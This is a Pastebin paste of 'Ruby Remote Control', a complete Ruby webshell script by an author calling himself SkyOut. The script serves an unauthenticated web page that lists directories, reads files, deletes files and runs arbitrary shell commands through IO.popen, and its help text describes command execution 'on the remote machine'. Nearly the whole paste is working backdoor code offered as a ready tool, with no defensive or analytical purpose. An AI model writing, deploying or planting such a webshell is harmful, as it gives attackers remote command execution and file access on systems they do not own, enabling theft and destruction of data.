daily pastebin goal
9%
SHARE
TWEET

Ruby Shell Code

a guest Sep 4th, 2013 170 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env ruby
  2.  
  3. # Author: SkyOut
  4. # Date: 2006/2007
  5. # Website: http://core-security.net/
  6. # Coded under: OpenBSD 4.0
  7. # Ruby version: 1.8.4
  8.  
  9. # As this tool is very basic it only uses two standard
  10. # classes, which should make it portable and usable
  11. # everywhere
  12. require 'socket'
  13. require 'cgi'
  14.  
  15. # Default port is 9000 if the user does not specify
  16. # another one
  17. port = ARGV[0] || 9000
  18. server = TCPServer.new('127.0.0.1', port)
  19.  
  20. # This will be displayed before the shell is started
  21. # and will only be displayed in the shell
  22. puts
  23. puts
  24. puts "+-----------------------------------------------+"
  25. puts "|\t\t\t\t\t\t||"
  26. puts "|\t[RRC] Ruby Remote Control\t\t||"
  27. puts "|\tby SkyOut\t\t\t\t||"
  28. puts "|\t\t\t\t\t\t||"
  29. puts "|\tStarting the webshell on #{port}...\t||"
  30. puts "|\t\t\t\t\t\t||"
  31. puts "|\t-> Fighting for freedom or\t\t||"
  32. puts "|\tdying in oppression! <-\t\t\t||"
  33. puts "|\t\t\t\t\t\t||"
  34. puts "+-----------------------------------------------+|"
  35. puts " ------------------------------------------------+"
  36. puts
  37. puts
  38.  
  39. # The main code goes here ...
  40. while (s = server.accept)
  41.  
  42.    s.print "HTTP/1.1 200/OK\r\nContent-type: text/html\r\n\r\n"
  43.  
  44.    s.print "<html><head><title>Ruby Remote Control [RRC]</title>\r\n\r\n"
  45.  
  46.    # These are the used CSS styles, which makes it easy to change and
  47.    # edit the style of the webshell (its colors)
  48.    s.print "<!-- CSS STYLE -->\r\n"
  49.    s.print "<style type=\"text/css\"><!--\r\n"
  50.    s.print "body { font-family: arial; background-color: #606060 }\r\n"
  51.    s.print "body a.blue { color: #000080; text-decoration: none }\r\n"
  52.    s.print "body a.grey { color: #808080; text-decoration: none }\r\n"
  53.    s.print "body a.black { color: #000000; text-decoration: none }\r\n"
  54.    s.print "body span.red { color: #800000; text-decoration: none }\r\n"
  55.    s.print "body span.green { color: #005000; text-decoration: none }\r\n"
  56.    s.print "body span.grey { color: #808080; text-decoration: none }\r\n"
  57.    s.print "--></style>\r\n"
  58.    s.print "<!-- -->\r\n\r\n"
  59.  
  60.    s.print "</head><body>\r\n\r\n"
  61.  
  62.    s.print "<!-- HEADER BOX -->\r\n"
  63.    s.print "<b><fieldset>|| Ruby Remote Control [RRC] || SkyOut ||<br>\r\n"
  64.    s.print "|| Index: http://host:9000/ || Help: Just leave the input field blank ||</fieldset></b><br>\r\n"
  65.    s.print "<!-- -->\r\n\r\n"
  66.  
  67.    # The input field used for the directory listing
  68.    s.print "<!-- INPUT FIELD FOR DIRECTORY OPENING -->\r\n"
  69.    s.print "<form method=\"get\">\r\n"
  70.    s.print "<input type=\"text\" name=\"open_dir\">\r\n"
  71.    s.print "<input type=\"submit\" value=\"Open directory\"></form>\r\n"
  72.    s.print "<!-- -->\r\n\r\n"
  73.  
  74.    # The input field used for the command execution
  75.    s.print "<!-- INPUT FIELD FOR COMMAND EXECUTION -->\r\n"
  76.    s.print "<form method=\"get\">\r\n"
  77.    s.print "<input type=\"text\" name=\"cmd_exec\">\r\n"
  78.    s.print "<input type=\"submit\" value=\"Execute command\"></form>\r\n"
  79.    s.print "<!-- -->\r\n\r\n"
  80.  
  81.    # Sometimes it can happen, that Ruby identifies files differently, for example .mp3 files
  82.    # will be shown as executables or .core files will be shown as normal files and more. To
  83.    # make sure those special files can not be opened (do not get a " [+] " next to their name)
  84.    # edit the array below.
  85.    do_not_open = Array.new
  86.    do_not_open = [".wmv", ".mpg", ".mpeg", ".avi", ".divx", ".mp4", ".mp3", ".ogg", ".flac", ".gif", ".png", ".jpg", ".jpeg", ".core"]
  87.  
  88.    # As mentioned above with the files, this is an array of file types, that shall be shown
  89.    # as normal files and therefore it should be able to open them (like script files)
  90.    do_open = Array.new
  91.    do_open = [".sh", ".ksh", ".bash", ".csh", ".perl", ".tcl", ".rb", ".pl", ".py"]
  92.  
  93.    # The GET request to the server will be put into an array to filter out the
  94.    # parts that we will use later
  95.    get = s.gets
  96.    get = get.split(' ')
  97.    get = get.fetch(1)
  98.    get = get.split('=')
  99.  
  100.    # This will be ?open_dir, ?open_file, ?delete_file or ?cmd_exec
  101.    command = get[0]
  102.    # This will contain the value after the " = " sign, example: ?open_dir=/home
  103.    value = get[1]
  104.  
  105.    # The code for a directory listing goes here ...
  106.  
  107.    # Remember: In every function we use the CGI class to escape special
  108.    # characters, for example " ?open_dir=/home/some%20name " will become
  109.    # " ?open_dir=/home/some name "
  110.    if (command == "/?open_dir") && (value != nil)
  111.  
  112.       dir = CGI.unescape(value)
  113.  
  114.       # Make sure the users input really calls an existing directory
  115.       if (File.directory?(dir))
  116.          # Make sure we have the right privileges to read it
  117.          if (File.stat(dir).readable?)
  118.  
  119.             s.print "<fieldset style=\"width: 50%\"><legend><b>Directory listing: #{dir}</b></legend>\r\n"
  120.             s.print "<b><font color=\"#800000\">[FILE]</font> <font color=\"#005000\">[EXECUTABLE]</font> <font color=\"#000080\">[DIRECTORY]</font> <font color=\"#C0C0C0\">[HIDDEN]</font> <font color=\"#000000\">[NO PERMISSIONS]</font></b><br>[+] = Open file [-] = Delete file<br><br>\r\n"
  121.  
  122.             # We build an array to finally check in which directory
  123.             # we are (root directory or anything else) and build our
  124.             # own link for moving one directory up
  125.             dir_arr = dir.split('/')
  126.             dir_arr.pop
  127.             dir_arr.collect! {|x| "/" + x}
  128.             dir_arr[0] = ""
  129.  
  130.             if (dir_arr.length >= 2)
  131.                s.print "<b><a class=\"blue\" href=\"?open_dir=#{dir_arr}\">Up ..<br></a></b><br>\r\n"
  132.             else
  133.                s.print "<b><a class=\"blue\" href=\"?open_dir=/\">Up ..<br></a></b><br>\r\n"
  134.             end
  135.  
  136.             # This loop will display every file in the directory
  137.             Dir.foreach(dir) do |entry|
  138.  
  139.                # The " . " and " .. " entries will of course be ignored, therefore
  140.                # we coded our own link (see above)
  141.                next if entry == "." || entry == ".."
  142.  
  143.                # Now let's go over to the way the content is displayed and linked ...
  144.  
  145.                # The content is a DIRECTORY #####################################################
  146.                if File.stat("#{dir}#{File::SEPARATOR}#{entry}").directory?
  147.                   # If we are in the root directory do ...
  148.                   if (dir == "/")
  149.                      # If the directory is hidden (starts with a " . ") display it in a grey style
  150.                      if (entry.match(/^\.{1}/))
  151.                         # Make sure we have the rights to access the directory, if not there is no way to
  152.                         # move into it (do not try doing it, it will fail or crash the shell)
  153.                         if (File.stat("#{dir}#{File::SEPARATOR}#{entry}").readable?)
  154.                            s.print "<b><a class=\"grey\" href=\"?open_dir=#{dir}#{entry}\">> #{entry}</a></b><br>\r\n"
  155.                         else
  156.                            s.print "<b>> #{entry}</b><br>\r\n"
  157.                         end
  158.                      # The same code as above, just for non-hidden directories
  159.                      else
  160.                         if (File.stat("#{dir}#{File::SEPARATOR}#{entry}").readable?)
  161.                            s.print "<b><a class=\"blue\" href=\"?open_dir=#{dir}#{entry}\">> #{entry}</a></b><br>\r\n"
  162.                         else
  163.                            s.print "<b>> #{entry}</b><br>\r\n"
  164.                         end
  165.                      end
  166.                   # If we are not in the root directory do the following ... (see above for more details)
  167.                   else
  168.                      if (entry.match(/^\.{1}/))
  169.                         if (File.stat("#{dir}#{File::SEPARATOR}#{entry}").readable?)
  170.                            s.print "<b><a class=\"grey\" href=\"?open_dir=#{dir}/#{entry}\">> #{entry}</a></b><br>\r\n"
  171.                         else
  172.                            s.print "<b>> #{entry}</b><br>\r\n"
  173.                         end
  174.                      else
  175.                         if (File.stat("#{dir}#{File::SEPARATOR}#{entry}").readable?)
  176.                            s.print "<b><a class=\"blue\" href=\"?open_dir=#{dir}/#{entry}\">> #{entry}</a></b><br>\r\n"
  177.                         else
  178.                            s.print "<b>> #{entry}</b><br>\r\n"
  179.                         end
  180.                      end
  181.                   end
  182.                next
  183.                # The content is a DIRECTORY #####################################################
  184.  
  185.                # The content is NOT a DIRECTORY #####################################################
  186.                else
  187.                   # Check if the file is an executable, furthermore check for the current directory and if the
  188.                   # file is hidden or not (see above for a more detailed explanation)
  189.                   if File.stat("#{dir}#{File::SEPARATOR}#{entry}").executable?
  190.  
  191.                      # The file is hidden ...
  192.                      if (entry.match(/^\.{1}/))
  193.                         # Loop through our array to make sure files with the extensions named there
  194.                         # can not be opened
  195.                         if (do_not_open.include?(File.extname("#{entry.downcase}")))
  196.                            if (dir == "/")
  197.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  198.                            else
  199.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  200.                            end
  201.                         # Loop through our array to make sure files with the extensions named there
  202.                         # can be opened
  203.                         elsif (do_open.include?(File.extname("#{entry.downcase}")))
  204.                            if (dir == "/")
  205.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  206.                            else
  207.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}/#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  208.                            end
  209.                         # The file is a normal hidden executable ...
  210.                         else
  211.                            if (dir == "/")
  212.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  213.                            else
  214.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  215.                            end
  216.                         end
  217.  
  218.                      # The executable is not hidden ... (same as above)
  219.                      else
  220.                         if (do_not_open.include?(File.extname("#{entry.downcase}")))
  221.                            if (dir == "/")
  222.                               s.print "<span class=\"green\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  223.                            else
  224.                               s.print "<span class=\"green\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  225.                            end
  226.                         elsif (do_open.include?(File.extname("#{entry.downcase}")))
  227.                            if (dir == "/")
  228.                               s.print "<span class=\"green\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  229.                            else
  230.                               s.print "<span class=\"green\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}/#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  231.                            end
  232.                         else
  233.                            if (dir == "/")
  234.                               s.print "<span class=\"green\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  235.                            else
  236.                               s.print "<span class=\"green\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  237.                            end
  238.                         end
  239.                      end
  240.  
  241.                   # The file is not an executable, it is a normal file ... (see above for more details
  242.                   # as this is quite the same as above)
  243.                   else
  244.  
  245.                      if (entry.match(/^\.{1}/))
  246.                         if (do_not_open.include?(File.extname("#{entry.downcase}")))
  247.                            if (dir == "/")
  248.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  249.                            else
  250.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  251.                            end
  252.                         elsif (do_open.include?(File.extname("#{entry.downcase}")))
  253.                            if (dir == "/")
  254.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  255.                            else
  256.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}/#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  257.                            end
  258.                         else
  259.                            if (dir == "/")
  260.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  261.                            else
  262.                               s.print "<span class=\"grey\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}/#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  263.                            end
  264.                         end
  265.  
  266.                      else
  267.                         if (do_not_open.include?(File.extname("#{entry.downcase}")))
  268.                            if (dir == "/")
  269.                               s.print "<span class=\"red\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  270.                            else
  271.                               s.print "<span class=\"red\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  272.                            end
  273.                         elsif (do_open.include?(File.extname("#{entry.downcase}")))
  274.                            if (dir == "/")
  275.                               s.print "<span class=\"red\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  276.                            else
  277.                               s.print "<span class=\"red\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}/#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  278.                            end
  279.                         else
  280.                            if (dir == "/")
  281.                               s.print "<span class=\"red\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}#{entry}\">[-]</a><br>\r\n"
  282.                            else
  283.                               s.print "<span class=\"red\"><b>#{entry}</b></span> <a class=\"grey\" href=\"?open_file=#{dir}/#{entry}\">[+]</a> <a class=\"grey\" href=\"?delete_file=#{dir}/#{entry}\">[-]</a><br>\r\n"
  284.                            end
  285.                         end
  286.                      end
  287.  
  288.                   end
  289.                next
  290.                end
  291.                # The content is NOT a DIRECTORY #####################################################
  292.  
  293.             end
  294.             s.print "</fieldset>\r\n\r\n"
  295.          else
  296.             s.print "You do not have permissions to read: #{dir}\r\n\r\n"
  297.          end
  298.       else
  299.          s.print "Directory does not exist!\r\n\r\n"
  300.       end
  301.  
  302.    # If the user leaves the input field for the directory listing empty
  303.    # a help dialogue will be opened
  304.    elsif (command == "/?open_dir") && (value == nil)
  305.  
  306.       s.print "<fieldset style=\"width: 40%\"><legend>Help: Open directory</legend>\r\n"
  307.       s.print "The open_dir function will open the specified directory path if it is valid and show you\r\n"
  308.       s.print "the content in an interactive way.<br><br>Subdirectories will be displayed with a '>' before the name.\r\n"
  309.       s.print "If you do not have the right permissions subdirectories are colored black and will not be opened\r\n"
  310.       s.print "on clicking them. The other file types (file, executable, hidden) are shown in different colors to\r\n"
  311.       s.print "make it easier to look over the content. Next to some files you can see a '[+]' to open them and\r\n"
  312.       s.print "a '[-]' to delete them (as long as you have the permissions for doing so).<br><br>\r\n"
  313.       s.print "In some cases it can happen, that even files, which should not be opened are marked with a '[+]'\r\n"
  314.       s.print "symbol. This is a mistake of the internal ruby function and you should take care before clicking\r\n"
  315.       s.print "around wildly!"
  316.       s.print "</fieldset>\r\n\r\n"
  317.  
  318.    # The code for the function to display a files content goes here ...
  319.    elsif (command == "/?open_file") && (value != nil)
  320.  
  321.       file = CGI.unescape(value)
  322.  
  323.       # Make sure the file is valid and exists
  324.       if (File.file?(file))
  325.          # Make sure we have the right privileges to read it
  326.          if(File.readable?(file))
  327.  
  328.             # A new fieldset is opened and every line of the file is displayed
  329.             # separately in this fieldset
  330.             s.print "<fieldset><legend>Open file: #{file}</legend><pre>\r\n"
  331.             File.open(file).each { |line| s.print "#{line}" }
  332.             s.print "</pre></fieldset>\r\n\r\n"
  333.  
  334.          else
  335.             s.print "You do not have permissions to read: #{file}\r\n\r\n"
  336.          end
  337.       else
  338.          s.print "This is not a file or it does not exist: #{file}\r\n\r\n"
  339.       end
  340.  
  341.    # The code for the function to delete a file goes here ...
  342.    elsif (command == "/?delete_file") && (value != nil)
  343.  
  344.       file = CGI.unescape(value)
  345.  
  346.       # Make sure the file is valid and exists
  347.       if (File.file?(file))
  348.          # Make sure we have the right privileges to delete it
  349.          if (File.writable?(file))
  350.  
  351.             # Finally delete the file and print a short message
  352.             File.delete(file)
  353.             s.print "File deleted succcessfully: #{file}\r\n\r\n"
  354.  
  355.          else
  356.             s.print "You do not have the permissions to delete: #{file}\r\n\r\n"
  357.          end
  358.       else
  359.          s.print "This is not a file or it does not exist: #{file}\r\n\r\n"
  360.       end
  361.  
  362.  
  363.    # The code for the command execution goes here ...
  364.    elsif (command == "/?cmd_exec") && (value != nil)
  365.  
  366.       cmd = CGI.unescape(value)
  367.       result = IO.popen("#{cmd}")
  368.  
  369.       s.print "<fieldset><legend>Command executed: #{cmd}</legend><pre>\r\n"
  370.       result.each { |line| s.print "#{line}" }
  371.       s.print "</pre></fieldset>\r\n\r\n"
  372.  
  373.    # If the user leaves the input field for the command execution empty
  374.    # a help dialogue will be opened
  375.    elsif (command == "/?cmd_exec") && (value == nil)
  376.  
  377.       s.print "<fieldset style=\"width: 40%\"><legend>Help: Command execution</legend>\r\n"
  378.       s.print "The cmd_exec function gives you the ability to execute any command on the system with the\r\n"
  379.       s.print "rights under which the ruby shell is running.<br><br>This is a very powerful and very dangerous function\r\n"
  380.       s.print "and therefore you should take care and be sure about what you are doing, before executing a\r\n"
  381.       s.print "command on the remote machine! The result of the execution will be shown on the webinterface afterwards.\r\n<br><br>"
  382.       s.print "Note: Some commands may crash the shell, for example a never ending PING command or something\r\n"
  383.       s.print "similar to this!"
  384.       s.print "</fieldset>\r\n\r\n"
  385.  
  386.    # If nothing of the above matches occur an index like page will be opened, that
  387.    # displays basic information about the shell and its functionality
  388.    else
  389.  
  390.       s.print "<fieldset style=\"width: 40%\"><legend>Information</legend>\r\n"
  391.       s.print "This tool is a PoC (Proof of Concept) code, that shows how to implement a webshell\r\n"
  392.       s.print "with a ruby script. The script can listen on any specified port, even if the user\r\n"
  393.       s.print "does not have root privileges. Connections will be exepted through HTTP and\r\n"
  394.       s.print "the webinterface will be shown back. The default port is 9000, you can specify\r\n"
  395.       s.print "a custom port by giving the port number as the first argument.\r\n"
  396.       s.print "(Use a hight port number!)<br><br>\r\n"
  397.       s.print "The script was developed using Ruby 1.8.4 on OpenBSD and it uses only\r\n"
  398.       s.print "standard functions, therefore it should run on every computer!<br><br>\r\n"
  399.       s.print "To start the shell type:<br>$user@example.com> ruby shell.rb 9000<br><br>\r\n"
  400.       s.print "To connect to the shell type:<br>http://example.com:9000/</fieldset>\r\n\r\n"
  401.  
  402.       s.print "<fieldset style=\"width: 40%\"><legend>Functions implemented</legend>\r\n"
  403.       s.print "?open_dir=<directory><br>-> The directory will be opened<br><br>\r\n"
  404.       s.print "?open_file=<filepath><br>-> The files content will be displayed<br><br>\r\n"
  405.       s.print "?delete_file=<filepath><br>-> The file will be deleted<br><br>\r\n"
  406.       s.print "?cmd_exec=<command><br>-> The command will be executed</fieldset>\r\n\r\n"
  407.  
  408.    end
  409.  
  410.    s.print "</body></html>"
  411.    s.close
  412.  
  413. end # We are done!
RAW Paste Data
Top